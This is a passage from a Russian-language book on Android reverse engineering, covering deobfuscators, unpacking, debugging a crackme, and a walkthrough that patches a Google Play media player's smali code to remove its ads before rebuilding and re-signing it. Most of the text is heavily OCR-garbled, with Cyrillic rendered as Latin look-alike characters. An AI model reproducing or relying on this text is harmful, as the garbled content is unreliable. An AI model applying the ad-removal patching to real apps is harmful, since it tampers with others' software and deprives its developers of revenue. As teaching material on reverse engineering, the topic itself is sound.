OHa MOJ OTJAaAYHKOM, a 3aTeM pacLIM(POBBIBAET U 3arpy>KaeT B MaMATh BTOPYIO 6H6IHO-
Tteky. KpoMe mpoBepok Ha mpucyTcTBHE OTIaguuKa, OMOMMOTEKka Taloke HCMOJb3yeT
JpYroi MeToJ 3allMThl — BUPTYaJbHYIO MAllMHY, KOTOpas UCHOJHAET 6aiTKox BMECTO
HaTuBHOro koga ARM.

Bropas HaTBHas 6ubnuoTeka — 310 3arpy3uuk DEX-daiinos. OH u3Bnekaer U3 KoHLa
opuruHanbHoro DEX-¢aiina 3ammdpoBanHbIii pparMeHT, paciindpoBbIBaeT €ro, Moaro-
TaBIMBAET PaHTAaiM JJI UCTIOIIHEHHS, a 3aTEM NEpeJacT eMy yrnpaBleHHE.

HeobgyckaTtoptr

Kak BHOuTEe, MHCTPYMEHTOB OOMaHYTb MCCIIEAOBATENIl U OTOMTH )KENaHHE PACKOBBIPH-
BaTh MPUIOKEHHE Yy pa3pabOTYUKOB MPENOCTATOYHO, MO3TOMY U PEBEpC-HHXKEHEp AOJ-
XeH ObITb BOOpYXeH. B mepBylo ouepenp Hy)eH XOpolUMH nexkoMnunsrop. Panee Mel
ucnosb30Baiv GecrulaTHBIN jadX, HETIUI0XO cripaBisolWuMiics ¢ 3ToM 3axadeil. Kpome noc-
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TOHHOH paboThl, OH HUMeET BCTPOEHHBIH neobdyckarop, TpaHCHOpMUPYIOLIMIA HASHTH-
¢duxaropsl Buna «a», «az» «l1111111...» unm cocrosmme u3z cumsosioB Unicode B umcio-
OyKkBeHHbIE MAECHTH(KATOPBI, YHHKAJIbHBIE [UIS BCETO MPHIOKEHHS. DTO MO3BOJISET HHU-
KOrJa He CITyTaTh METOA a() KJIacca a C METOAOM a () KJIacca b M JIETKO HaXOOUThb HyX-
Hble UAEHTUPHKATOPBI C TOMOLIBIO I100ATBHOrO MOUCKA.

Taxoke BaM MOHaJOOUTCS UHCTPYMEHT IUIA iamrna MHGopMauuu o nakete. He Takoi uH-
dopMalMH, Kak ero coaep>kumMoe M Jarta cOOpkd, a MHGOpMaUMH 00 HCIMONb3yeMbIX
B MaKeTe cpeAcTBax o6dyckaluy U 3alUUThl. B nepByio ouepeab CTOMT oOpaTUTh BHUMa-
Hue Ha APKiD (https://github.com/rednaga/APKiD).

Yka3zaHHBI HHCTPYMEHT AOJDKEH MOKa3aTh, ObUT 1M IPUMEHEH TOT WM UHOH 06dycka-
TOp WM YNaKOBIUMK B OTHOIIEHHWH MPWIOXKEHHS, HO YaCTO He MOKa3bIBaeT HUYEro. JTo
BIOJIHE 3aKOHOMEPHO, 00(ycKaTophl 3BOTIOLHOHUPYIOT, MEHAS JIOTUKY CBOEW paboThl,
npHemMbl 06yCKaLMK U CKPBITHA OT MOJOOHBIX HHCTPYMEHTOB.

ITo 3ToH ke MpUYHMHE HEPEOKO OKa3bIBAIOTCS OECCHIbHBI M Je00dycKaTopbl, TakHe Kak
Java Deobfuscator (https://javadeobfuscator.com), Simplify (https:/github.com/
CalebFenton/simplify) u Dex-Oracle (https://github.com/CalebFenton/dex-oracle).
Ho 310 coBceM He 3HAYMT, YTO UX HE CTOMT NpuMeHsATh. Java Deobfuscator pabotaer uc-
KIIOYHTENBHO ¢ 6aliTKkonOM Java, mo3ToMy mepea TeM Kak ero ucrnons3oBath, APK cre-
ZyeT rneperHars B jar ¢ moMoisio dex2jar (https://github.com/pxb1988/dex2jar).

Hanee cnenyer HaTpaBUTh Ha MOJTy4YeHHbIH jar-¢aiin Java Deobfuscator ¢ yka3zaHueM uc-
MOJb3YEMOro «TpaHcopmepar:
$ java -jar deobfuscator.jar -input Ipunoxenue.jar -output

Mpunoxexue nocne_peobpyckawm.jar -transformer allatori.StringEncryptionTransformer -
path ~/Android/android-sdk-linux/platforms/android-23/android.jar

JlaHHas KOMaHIa TNPHUMEHUT K OJTOMY MPWIOKEHHIO TpaHchopMep allatori.
StringEncryptionTransformer, pacum(bponmsalomnﬁ CTPOKH, 3allIPI¢)pOBaHHl>le C MnoMo-
wbto Allatory, u 3amuiuer pe3ynbTaT B Mpunoxenne nocne neobpyckauwmm.jar. [locne 3Toro
NPWIOKEHHE MOXHO ACKOMIWIMPOBaTh, HO He ¢ moMouleio jadx (oH paboTaeT TOJBKO
¢ 6aiitkonom Android Dalvik), a, Hanpumep, ¢ nomouipto jd-gui(http://jd.benow.ca).

Java Deobfuscator nognepxusaer Gonee meciaTka TpaHCOPPMEPOB, MO3BOJIAIOIIMX pac-
KGpPOBLIBATh CTPOKH, 3alIM(poBaHHBIE APYrMMH 00dyckatopaMH, KOHBEPTHPOBATHb
BBI30BbI C MOMOLUBIO peIeKCUH B OOBIYHBIE, YNANATh MEPTBHIH koA U T. A. [loatomy
CTOMT NO3KCNEPUMEHTHPOBATb.

Ecnu xe Java Deobfuscator He nan pe3yneraToB, cTouT nonpo6osatk Simplify. 3to Tak
Ha3bIBaeMbIii OTUHaMH4yeckuit neobdyckartop. OH He aHanM3MpyeT OaWTKOA, MBITAsACh
HalTH B HEM cliefibl paboThl 00¢yckaTOPOB U OTMEHUTb BHECEHHBIE MU U3MEHEHHS, KaK
ato aenaet Java Deobfuscator. BMecTo 3TOro oH 3amyckaer auzacceMOIMpOBaHHBINA KOI
smali BHyTpH BUPTYaJIbHOM MAILMHBI, MO3BOJIAS MPUIOKEHHIO CAMOCTOATENBHO paciing-
pOBaTh CTPOKH, 3aTeM YAAIIET MEPTBBI HEUCTIONB3YeMBbI# kol U peduekcuro. Ha Bbixo-
Je Bbl nosryunte dex-¢aiis, KOTOpsId MOXKHO JEKOMIMIUPOBATE C MOMOLIBIO jadx.

Hcnons3oate Simplify noBossHo npocto (puc. 8.1):

$ java -jar simplify.jar -i karanor c_dainamm smali -o classes.dex
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Ho kak 6bITh ¢ ynakoBmmkamu? s 60peObl ¢ HeKOTOpBIMHM M3 HUX nopoiiaet Kisskiss
(https://github.com/strazzere/android-unpacker/tree/master/native-unpacker). s
ero paboThl HyXKeH CMapT(OH ¢ MpaBaMH root ¥ aKTHBUPOBAHHBIM PEXHUMOM OTJIAIKH
(ADB) B pexume root (B CyanogenMod M0XHO BKJIIOYHTE B «PexxuMe ais pa3paboTuu-
koB»). Tawke Ha ITK noHagoOurcs koMaHa adb:

$ sudo apt-get install android-tools-adb
$ sudo adb devices

Hanee Kisskiss He06X0AUMO YCTaHOBUTH Ha CMapTQOH:

wget https://github.com/strazzere/android-unpacker/archive/master.zip
unzip master.zip

cd android-unpacker-master/native-unpacker

sudo apt-get install build-essential

$ make

wv» W W W»

$ make install

3anmyCTHTh Hy>KHOE NPHI0)KEHHE Ha CMapTOHE M BBITIOJIHUTh KOMaHIy (Ha KOMIBIOTEpe):

$ adb shell /data/local/tmp/kisskiss uma.nakeTa.npuioxeHMs

INocne sroro Kisskiss caenaer namn nmaMaTd npouecca U 3anuuiet ero B odex-gaiin. Ero
MO>XHO CKOHBEPTHPOBATh B deX ¢ MOMOLIBIO yXke 3HaKOMoro Ham baksmali:

$ adb pull /system/framework/arm/boot.oat /tmp/framework/boot.oat
$ baksmali -c boot.oat -d /tmp/framework -x daii.odex

U nexomnunupoBath ¢ noMouipko jadx.

He6onswoit npumep

Hy u B 3akmoyeHue npuBemy HeOONBILIOH MpuUMep B3jIoMa 00(YCLUHPOBaHHOTO MPHIIO-
»eHHs. B HeM He NpUMEHAIOTCA IWHPPOBaHHE M YNOKOBIIHKH, HO OHO MO3BOJISET MOHATH
JIOTHKY paboThl C KOAOM, MO KOTOPOMY TPYOHO OPHUEHTHPOBATbCS M3-32 M3MEHEHHBIX
uaeHTHOHKAaTOpOB. B 3TOT pa3 Mbl OyneM paGoTaTh C HE CaMbIM MOMYJISIPHBIM, HO BCE XKeE
OuYeHb KaueCTBEHHBIM MeaHanpourpeiBareneM U3 Google Play. 3agaua — y6path U3 Hero
peKiaMmy.

JUis Hadana yCTaHOBUM NPWIOXKEHHE Ha CMApT(OH M BHUMATENBHO MPOCIIEANUM 32 TEM,
B KaKUX Cly4asX M Ha KaKMX 5KpaHax mosBisercs peisama. HeTpyaHo 3aMeTHTh, 4To
OHa €CTh TOJILKO Ha JKpaHe BbIOOpa (Qaiina. D10 BakHasds MHOpMaLMA, KOTOpas Ham
oueHb npuroautcs. Tenepb MonpoOyeM BKJIIOYHTH PEXKUM M0JIETa, 3aBEPLUMTH MPUIIOKE-
HHME U BHOBb 3allyCTHTH €ro. Pexjiama MoMHOCTBIO McHe3aeT. ITO TOXKE BaXKHO, MPUIIOXKe-
HHE YMEET CaMOCTOATEIbHO BKJIIOYATh H BBIKIIIOYATH M0Ka3 peK/iaMbl, a 3HAYMT, BCE, YTO
HaM TpebyeTcs caenarb, — 3TO MPOCTO HAWTH AaHHBIM KOA W JIMOO yOAUTh «BKIIOYA-
TeJIbY» peKJIaMbl, THO0 CaMOCTOATENBHO BBI3BATh «BBHIKIIOYATEIIDY.

Teneps ckaunBaem nmpunoxenye Ha [1IK ¢ nomowmsio APKPure, nomeiaem ero B kataior
~/tmp U TIEPEMMEHOBLIBAEM B application.apk Ul ymo6cTBa pabotbl. OTKpbIBaeM naket
B jadXx-gui U BHOMM MHOXECTBO KaTanoroB (Java-naketoB). HyXHbIii HaM MakeT HOCHT
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HMs CaMOro MpUJI0XKEHHUS. OTKpblBaeM €ro. BHyTpPl — MHOXECTBO KJ1aCCOB ¢ UMCHaAMH
BHAAa C0770p, CO763i KU T. 4., MOYTU BCE NEPEMEHHBIE U METObI moboro Kj1acca HOCAT
UMeHa £2881, £2284 U T. 1. (puc. 8.2).

Puc. 8.2. BHyTpeHHee yCTpOCTBO MCCNEAYEMOTO NPUNOKEHUA

He BHywuaet ontiMu3Ma, npaeaa? CoBceM HEMOHATHO, ¢ Yero Ha4yate. TouHee, ObLIO GBI
HETMOHATHO, €clIi Obl MBI HE 3HAJIM, YTO pekiaMa OoToOpaxkaeTcs MCKIIOYMTENIBHO Ha 3K-
paHe Bbibopa ¢aiina. [IpomaTeiBaeM BHU3 U BUIWUM HYXHBIH HaM KJIacC — FilesActivity.

Ho nouemy oH He o6dycumpoBan? Ilo mnpoctrodi nNpHYHHE, S3KpaH NPHIOKEHHS
B Android — 3To Tak Ha3biBaeMas aKTMBHOCTH (activity), a Bce aKTHBHOCTH NOJKHBI
ObITh SIBHO TepevuclieHbl B MaHHUdecTe MPUIOKEHUS — AndroidManifest.xml. Ecnu Obl
00¢yckaTop U3MEHW UMS KJIacCa-aKTHBHOCTH, Android nmpocTo He cMor OBl ero HalTH
Y NMPUN0XKEHHUE BBIBATHIOCH OBl C OIIHOKOH.

OtkpblBaeM FilesActivity M Cpa3y CMOTpPHM, paboTaeT M OH C MPOBaHAEpPOM peKIaMbl
HanpsMylo (MM Xke AejaeT 3TO Yepe3 APYrod kiacc WiM ¢ nomousio pedaekcun). s
3TOrO B3IJITHEM HAa JUPEKTUBHI import:

java |

import com.google.android.gms.ads.AdRequest.Builder;
import com.google.android.gms.ads.AdSize;

import com.google.android.gms.ads.AdView;

import com.google.android.gms.ads.search.SearchAdRequest;
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Ja, K1acc ABHO BBI3BIBA€T METOABI MAKeTa com.google.android.gms.ads (CTAHOAPTHBIN
TYIJIOBCKUH MpoBaiep pekjiaMbl), HHa4e 3a4eM Obl eMy ero umnoptupoBats? OcTanocs
HalTH MECTO, TA€ OH 3TO JEJAeT, U MPOCTO U3MEHUTh WIH YIAIUTh KOJ, TaK, YTOOBI pek-
JamMbl He ObLTO BUAHO. brke K KOHITy KOoJa MBI BUAMM 3TO:

java

private void m4989q() {
this.f2493K = new AdView (this);
this.f2493K.setAdUnitId ("ca-app-pub-1006786053546700/8070576705") ;
this.f2493K.setAdSize (AdSize. SMART BANNER) ;
this.f2493K.setVisibility(8);
this.f2493K.setAdListener (new C07661 (this)); -
((LinearLayout) findViewById(2131689639)).addView(this.f2493K);
this.f2493K.loadAd (new Builder () .build());

HecMmoTps Ha npuMeHeHue o6¢yckalMuy, KO BNOJIHE MOHATHBIA, MBI BUIUM OJHO3HAY-
Hble UMEHA KJIacCcOB (AdView, AdSize, LinearLyout) H METOJOB (setAdUnitId, findViewByld H
apyrue). Kon co3naet HOBbI# rpaduyeckuit sneMeHT (View) ¢ peKIaMoi, HaCTpauBaeT ero
BHM[, a 3aTE€M 3arpy>aeT B Hero pexjiaMHoe oOBsaBiIeHHe. Bonpoc Tonbko B TOM, nmoyeMy
MbI 3T0 BUAMM. O6¢dyckaTop HaCTONBKO IUTIOX M HE CrpaBaseTrcs co cBoe paboToi?

Ha camoM gene Bce HaMHOro npouie. an‘lPlHBl JABE:

1. O6¢yckaTop paboTaeT UCKIIOUUTENBHO ¢ KOJOM CaMoOro MPUIOKEHUA M MOITOMY He-
cnocobeH 3amyTaTh koA KiaccoB camoro Android. B naHHOM cityyae MBI BUIUM KOJI
BbI30Ba CTaHAapTHBIX MeToA0B APl Android: findviewById U addview.

2. 3ayacTylo NporpaMMHCTBI OTKIIOYAIOT 00(yckaTop 411 BHEWHMX OUONIHOTEK WK He-
KOTOpBIX parMeHTOB KOJa H3-3a BO3MOXHBIX KOHGIHKTOB (06¢dyckaTop, Hanpumep,
KOH(IHMKTYeT ¢ MexaHu3MoM peduekcun). OueBHOHO, KOA peKIaMHOH GHONMHOTEKH
NpocTo He ObUT NMpoMmyLIeH Yepe3 00¢dyckarop.

Bbnarogaps 3TUM IByM NpHYHMHAM JIOTHKY paboTsl 00¢yCLHPOBaHHOrO KOJa JIErKO Mpo-
cJ1eauTh 1O BeI30BaM BHEIHUX APL. B naHHOM ciydae Mbl He 3HaeM MM$ 3arpy aroLlero
pexaMy Merona (m4989q) U UMA oObekTa, XpaHamero View (£2394K), HO BUOUM BCe €ro
MeTOobI U oOpaiieHus K CUCTeMHBIM API (TOT e findViewById), YTO MO3BOMNAET CAENATH
BBIBOJ O TOM, YTO 3TOT KOJ JA€aeT Ha CAMOM JeJie.

A Tenepb 0 TOM, KaK BCE 3TO OTKMOYUTL. CaMblii MPOCTOH BapHaHT — MPOCTO YAAIUTh
BECh KOJ| METOJa, HO 3TO MOXKET NPHBECTH K omMOKaM B APYrMX y4acTkax KoJa, KOTo-
pble, BO3MOXHO, oOpamaloTcs K oObekTy £2493K. BMecTo 3TOro Msl moiineM HeMHOro
Apyrum myteM. OOpaTHTe BHHMaHHME Ha MATYIO CTpoKy koma. OHa B3BIBaeT MeETOX
setVisibility OOb€KTa £2493K, KOTOPBIH, B CBOIO OYepelb, XPAaHUT View peKJIaMHOro 6110-
Ka. Meron setVisibility MO3BONAET HAacTpaMBaTh OTOOpaKEHHE View, yKa3aB OJHO H3
BO3MOXHBIX COCTOSHMM ¢ momollpto yucna. Ecnu Mbl B3risHeM Ha cnaBky Android
(https://developer.android.com/reference/android/view/View.html#GONE), To y3Ha-
eM, uto 3HaueHue 8 o3HayaeT GONE, T. e. View HO/DKEH OBITH MOJTHOCTHIO YOpaH C 3KpaHa.
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JlpyruMu cioBaMu, JaHHBIH KOA GOPMHpPYET View ¢ peKJIaMHBIM OJIOKOM, a 3aTeM caM e
ero youpaer ¢ skpaHa. Ho 3auemM? 3ateM, 4TO HET cMbICiIa MOKa3bIBaTh PEKJIAMHBIN OJIOK,
€CJIM OH €lle He 3arpyxeH (MOMHHUTE HCYE3HOBEHHE pekiaMbl B pexxuMme monera?). Ho
KaKk TNpWIOKEHHE Y3HaeT, YTO pewiama 3arpy3wiack? CorinacHo HOKyMEHTalUH
(https://developers.google.com/android/reference/com/google/android/gms/ads/AdLi
stener), c MOMOLIBIO AdListener: pa3pabOTYHK CO3JaeT KIIacC-HACIEAHHK AdListener, CO3-
JiaeT PeKIaMHBIN View, BBI3BIBAET €r0 METOJ setAdListener, B Ka4yeCTBe apryMeHTa mepe-
naBas eMy OOBEKT Kilacca-Haclle[IHUKAa AdListener, M BBI3BIBAET loadAd Ui 3arpy3kH
pexitambl. Korma peknama 3arpysurcs, Oyaer BbI3BaH METOJ onAdLoaded () KJacca-
HaCJleIHNKa AdListener. A Terepb CMOTPUM Ha CTPOKY:

this.f2493K.setAdListener (new C07661 (this));

C07661 HE MOXKET OBITH HUYEM HUHBIM, KpOME KJIacCa-HacleHUKa AdListener. OTKpBIBaeM
ero B jadx ¥ BUAUM:

public void onAdLoaded() {
this.f2868a.f2493K.setVisibility(0);
}

bunro! Bcero ogHa cTpoka koaa, koTopas AejaeT peKJIaMHBbIA View BUAUMBIM (3Hade-
Hue 0). Ecin MBI ee ynanum, view OCTaHETCS HEBMIAMM Ha Bce BpeMs paboThl MpHIIO-
KEHHA.

Ho BoT He3amaya: B qu3acceMbiaupoBaHHOM ¢ momolubio apktool kome smali HeT knacca
c07661. Takoif HAEHTUPHUKATOP MBI BHIUM TOJBKO B jadX, IOTOMY YTO OH NEpEeUMEHOBAI
Kiacc. Ho 3aTo oH ocTaBun 111 HaC KOMMEHTapHid KacaTenbHO HACTOSALIEr0 HMEHH Kiac-
ca (puc. 8.3).

OTKpbIBaeM KJIacC, YKa3aHHbIi B KOMMEHTapHU «Renamed from», U BHOMM CIELYIOLUMi
KOA:

| smali

.method public onAdLoaded()V
.locals 2

.prologue
.line 927

iget-object v0, p0, Lcom/player/free/l;->a:Lcom/player/free/FilesActivity;

invoke-static {v0}, Lcom/player/free/FilesActivity;->p(Lcom/player/
free/FilesActivity;)Lcom/google/android/gms/ads/AdView;

move-result-object v0
const/4 vl1, 0x0

invoke-virtual {v0, vl}, Lcom/google/android/gms/ads/AdView;->setVisibility(I)V
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.line 928
return-void
.end method

OTO U €CTh CTPOKA this.f2868a.£2493K.setVisibility(0) ;. YToObI yOpaTh ee, HeoOX0aHMMO
YIAJIUTh MOYTH BECh METOI, OCTABUB TOJIbKO YETHIPE CTPOKH:

smali

.method public onAdLoaded()V
.locals 0
return-void

.end method

Ocraercs Tonbko cobpaTh apk M yCTaHOBHUTb Ha JeBaicC:

$ cd ~/tmp

$ apktool b application

$ mv application/dist/application.apk application-noads.apk
$ sign application-noads.s.apk

Puc. 8.3. Noackaska c umeHem knacca



FMABA 9

B3inom ¢ nomoubro otnaauuka

Hrak, Mbl Hayuuauch pa3OupaTh MPUIOKEHHE NPAKTUYECKH TONbIMU pyKaMH, MMes Ha
BOOPYXEHHHU TOJIbKO AEKOMMUIATOP M AMuzaccemOyiep. DTO Tak Ha3blBaeMblid cTaTHde-
CKHMI MeTo aHanu3a npuioxkeHus. OH XOopoll, KOrja KoJl NMPHIOKEHUs He CIIMLIKOM 3a-
nmytaH. OJHaKO €ciiM Mbl MMEEM JeN0 ¢ XOopowo o6¢ycUMpOBaHHBIM KOAOM, a HY)XKHas
HaM (YHKLMOHAJIbHOCTb HAXOJAMTCS HEMHOrO riy0ke Kjlacca akTHBHOCTH, He 00OHTHCH
6e3 auHamuveckoro aHanuza. OAMH M3 cnocoOOB chaenaTh 3TO — HCIMOIBL30BaTh OT-
JaUMK.

OTnapuuk U pesepcuUHr

Ctporo roBops, 3T0 He TO 4TOObl OTAENbHBIH CrOcOO B3lOMa, a ckopee cnocod paso-
OpaTbcs B MOBEAEHUH NPUIIOAKEHUs, YTOOBI HATH ero cnabbie MecTa. CMBICH 371€Ch Clie-
IYIOLMI: MpeacTaBbTe, YTO y Bac Ha pykax oOpasell BpeaoHOCHOH nporpamMmsbl. Ee xon
CHIbHO 00¢ycUMpOBaH, NEKOMMWIATOP €1Ba NEepeBapUBaeT MOJIOBUHY KOJAa, U paso-
Oparscs B paboTe MpUWIOXKEHHS MOYTH HeBO3MOXHO. Tpebyercs cmoco® mpocneauTsb
BOpK(QJIOy TpoOsiHa, pa3oOpaTbcsi B TOM, Kakasi LEMo4yka METOINOB BBI3BIBAETCS MPHU BO3-
HMKHOBEHHWH OMpeJle/IeHHbIX COObITHH.

Bo Bce BpeMeHa nyuiumii cnocod caenartb 3TO COCTOSUT B UCMOAB30BaHUU oTiaayuka. Ho
ecTh OJHa rnpobiema: y Hac HeT MCXOJHHMKOB, a 6e3 HUX OTJaJ4MK Majlo moje3eH. 3aTo
€CTh BO3MOXKHOCTb JAEKOMIHJIMPOBATh MpUIokKeHHe B Java (Hepeako — TONbKO YacTHY-
HO) WM B JOCTAaTOYHO BbICOKOYPOBHEBHBIH (B CPaBHEHMH C MAIIMHHBIM KOIOM) KOI
smali, koTopbIi Bceraa OyaeT NOJHOCTbIO KOPPEKTHBIM.

Tak uTo B LEJIOM aNTOPUTM AeHCTBHUIA OyAET BBINIAAETh TaK:
1. Jloctaem nomonbITHOE NPUIIOKEHHUE U3 YCTPOMCTBA.

2. Jlm3accemOnupyeM ero, BeicTaBiasem (iar oTiaakH.

3. Cobupaem 0OpaTHO M YCTaHABIMBAEM Ha YCTPONUCTBO.

4

. AMmoptupyem aexkoMnuinpoBaHHbI WIM Au3acceMOnupoBaHHBI koA B Android
Studio.

5. 3amyckaem oTiaaky.
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dnar oTnaaku

Android ycTpoeH TakuM 00pa3oM, YTO He MO3BOJIUT MOAKIIOYMTHCA C MOMOLIBIO OT/NaA-
YHKa K MPWIOXKEHHIO, KOTOpOe 3TOro He XodyeT. A (aKkT «XOTEHHA» Omnpenensercs
¢naroM oOTNIaAKM, KOTOpBIA, MO CYTH, NpeiacTaBiser coboil cTpoky B ¢aiiie
AndroidManifest.xml.

IMoaTomMy nepBoe, 4TO MBI JOJDKHBI CIENIaTh, — 3TO pa3o6paTh NMPHIOXKEHHE, BHICTABUTH
¢nar oTaaky B 3HaUY€HME true U cobpaTh mporpammy obpatHo. IIpowe Bcero 3To cae-
JaTh ¢ OMOILBIO YTUIUTHI apktool:

$ java -jar apktool.jar d app.apk

B Tekyluem kaTasore MmosiBUTCA NOAKATAIOL app (Hy, WM KaK Ha3bIBaJICA MAKET C MPWIO-
»keHueM). [lepexoauM B HEro — M BUOUM HECKOJIBKO ¢aiiioB U Katanoros. HaMm oHu ee
NPUTOAATCS, a NIOKa OTKPbIBaeM (a1 AndroidManifest.xml B TEKCTOBOM PeAaKTOpe U Ha-
XOAMM CTPOKY, HAUMHAIOLLYIOCS C <application. DTO Ter application, KOTOpBIH OMHCHIBA-
€T TMPHUIOXKEHHUE B LEJIOM. HNMeHHO K HEMY Mbl [OJDKHBI I(O6aBHTb anHG)’T
android:debuggable="true". [IpocTo BcTaBbTE €ro cpa3y nmocie application:

<application android:debuggable="true" ...

Tenepb TNPHITIOKEHHC HCOGXOJII/IMO 3anaKoBaTh H NOAIHCATh:

$ apktool b app
$ sign app.apk

ITocne aToro NMPUITOXKEHHUE MOXXHO YCTAHOBHTDH HA )’CTPOI‘;ICTBO.

Hexomnunauua u ausaccembnuposaHue

JuzacceMOnepHbIi JTUCTHHT NPUJIOKEHHS Y HAC Y)K€ €CThb, MBI MOJIyYHIH ero, pazobpas
npuoxeHue ¢ nomoursio apktool. Mel MoxkeM ummnoptupoBats ero B Android Studio u
HayaTh omiaaky. Ho sy4ine Bce-Taku MombITaThes MONYYHTh MCXOOHHMKHM Java, ropasno
Gonee nerkue Qs YTEHUA.

Ins 3TOro mpuioXKeHHe HeoOXOAMMO NEeKOMIWIMpOBaTh. 3amyckaeM Jadx, BeIOHpaem
APK-daiin npuioXxeHus 1 3KCOPTUPYeM UCXOIHHKH ¢ moMoubio MeHio File — Save as
gradle project (puc. 9.1).

Android Studio

Teneps 3KCOPTHPOBaHHBIE HCXOAHHUKH HEOOX0oauMO MMNopTHpoBaTh B Android Studio.
Henaercs 3to ¢ nomouusio MeHio File > Open — New Project >Import Project. Ilo-
TOM BBIOHMpaeM KaTalor ¢ HCXOAHHKAMH H B OTBET Ha BCe BONMPOCH! HakuMaeM Jlasiee.

Ecnu Bce mpoiiner ycnemHo, MCXOOHMKH OyDyT MMIOPTUPOBaHBI M Bbl YBHUAUTE HX
B r1aBHOM okHe Android Studio (puc. 9.2). Onate ke, My4ie cpa3y NpoHWTHCh Mo ¢ai-
JlaM U TPOBEPUTH HX KOpPpeKTHOCTh. B 99,9% ciyuaeB Bbl OOHapy>KUTe MHOXKECTBO
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Puc. 9.1. lekomnunsaums npunoxernnsa B Jadx

Puc. 9.2. lekomnunuposaHHblih koa B Android Studio
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MOJYEPKHUBAHUIN W BBHIJENICHUH KPacHbIM: B MOHHMAaHUU Cpelbl pa3paboTKv MCXOMHHKH
NOJHBI OMKUOOK. DTO abCOMOTHO HOPMAIBHO, T. K. AEKOMITHIMPOBAHHBIA KO/, Tak WIH
WHaye, He JOJDKEH OBITh NMPUT0IeH AJ1s TOBTOPHON KOMIMUIISALIMH.

Teneps aktuBupyiite Ha cMapTdone pexxuM orinaaku no USB (Hacrpoiiku — O Tele-
¢one — BoceMp TanoB 1o Homepy c6opku), moawmouute ero k [1IK. B Android Studio
HaxMuTe kHOnKy Attach debugger to Android process (oHa HaxoOUTCs PAOOM C KHOI-
KaMH 3aIyCKa ¥ OCTAHOBKH NPHJIOKEHHS), YTOObI MOAKIIIOYUTHCS K cMapTQOHY M MpH-
JIOXKEHHIO. .

Ecnu cHu3y nosiBunacek naHens aedarrepa, Bbl Ha koHe. Ciieyromuit mar — paccTaBUTh
OpeMKNOUHTBI B TEX MECTAaX MPUJIOKEHHs, KOTOpbIE BbI XOTHTE HcciienoBath. Caenaem
3T0 Ha mpumepe npocreimero crackme-one (https:/github.com/reoky/android-
crackme-challenge), koToOpHIii 3anKcHIBaeT CTpoKy B ¢aiis, a BaM HYXHO y3HaTh COEp-
)KUMoe 3TOH cTpokH. Dailn XpaHUT CTPOKY B OTKPHITOM BHAE, HO Mbl MPEICTaBUM, UYTO
NpUWIOKEHHE paclinpoBHIBAET €€ TOJIBKO BO BPEMs 3alHCH, U MO3TOMY MbI JOJDKHBI
noiMaTb MOMEHT 3TOH 3alMCH, YTOOBI BBIWIEHHTb yXe pacliM(pOBaHHYIO, HO €lie He
3alMCaHHYIO CTPOKY.

Hrak, c yero Hayats? J[nsg Hayaja BBIAICHHUM, C KaKOH aKTUBHOCTH HayMHAeTCs HUCIOJIHE-
HHE TIpWIOXKeHHs. B maHHOM ciydae 37O, OonATh ke, OECCMBICIIEHHO B CHIIy MPOCTOTHI
crackme, HO B GOJIBIUMX MPUJIOKEHHUAX NMpUroauTcs. HalTi HCXOMHMK HY)KHOH aKTHBHO-
CTH MOXKHO C MOMOIIbIO (haiina AndroidManifest.xml. BOT Kak BBIMIAOMT OMMCaHHUE INaB-
HO# akTHBHOCTH B crackme:

xml

<activity android:label="@string/app name"
android:name="com.reoky.crackme.challengeone.activities. 'ChallengeActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

O6paTme BHMMAHHUEC HA CTPOKH, COJACPXKAIUME android.intent.action.MAIN M android.
intent.category.LAUNCHER. Onu O3HA4YaKwT, YTO HUMCECHHO C 3TON AKTUBHOCTHM HAa4YHETCS
HCIIOJIHCHUE TMPUJIOKEHUSA (Ha CaMOM J€JI€ TAKHUX aKTUBHOCTEH MOXET OBITh HECKOJIBKO,
HO 3TO peaKocTb). Taloke oOpaTuTe BHUMaHHE Ha CIIEAYIOLIYIO CTPOKY:

android:name="com.reoky.crackme.challengeone.activities.ChallengeActivity

ITo cyTH, 3TO MOJIHBINA «MYTh» A0 aKTUBHOCTH, BKJIIOYas Bce UMEHa nakeTtoB. MIMeHHO no
TaKOMY TMyTH Bl HaiijieTe ee B MCXOAHHKaX, 3arpykeHHbIx B Android Studio. OtkpsiB
UcXomHUK 3Tod akTuBHOCTH B Android Studio, BBl 3ameTuTe ero kpaiHIOIO MpPOCTOTY.
®dakTHYECKH 3TO OKHO C mepekiodaTeneM TaboB, a cogepkumoe TaboB pacrionaraercs
BHYTpH (pparMeHTOB B MakeTe/kaTajiore fragments. IlepexoguM B Hero — M BHUAMM
ChallengeOneFragment. OH KaK pa3 ¥ COAEPXKHT MMOJie BBOJA OTBETA M KHOMKY JJIs 3alMCH
taiina. BHUMaTeNbHO NMPOYMTAB MCXOAHHK, 3aMeYaeM, YTO B KayecTBEe KoOJUIOeKa A
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3TON KHOIKH MUCMOJIb3YETCA ChallengeOneFragmentOnClickListener, OﬂpeﬂeHeHHblﬁ B OoA-
HOMMEHHOM dafine B karayiore listeners. OTKpbIBaeM 3TOT (aiyl U cpear MPOYUX BUAUM
TaKHW€ CTPOKH:

java

OutputStreamWriter outputStreamWriter = new
OutputStreamWriter (parent.getContext () .openFileOutput ("ANSWER", 1));

outputStreamWriter.write ("poorly-protected-secret");
outputStreamWriter. flush();
outputStreamWriter.close();

n03£lpaBJ1mO, Mbl B3JIOMaJIM crackme, HCKOMas CTPOKA: poorly-protected-secret. Ho no-
CTOHTE, Mbl )K€ JOrOBOPHU/INCH, YTO MpEACTaBHM, OyaTO CTpoka 3amndpoBaHa, U Mbl He
MOXKeM ee yBHAeTb. BoT 31eck HaM U HyxkeH nebarrep: coib B TOM, YTOObI MOCTaBHTh
OpEeHKIOMHT Ha BTOPYIO CTPOKY MPHUBEAECHHOTO BbILLIE JIACTUHTA U MOCJIE 3TOTO 3aITyCTHUTD
npunoxeHnde. Korna ncnosHeHne npuioskeHUs IOMIET A0 3TOH TOYKH, OHO OyaeT ocTa-
HOBJIEHO, @ MbI C MOMOLIBIO KOHCONH Jedarrepa CMOXeEM MPOYUTATh apryMEHT BbI3OBA
write (KOTOpBIH yxe O0/mKeH ObITh pacuiMdpoBaH nepen 3anuchio).

Hrak, otkpbiBaem HcxoaHuk B Android Studio, HaxoauM HYXHYIO CTPOKY U KJIMKaeM
pAaoM ¢ HOMEpOM 3TOi cTpokH. CTpoka MoJACBeYMBAETCA KPacHBIM, CHTHAJIM3UpYys 00
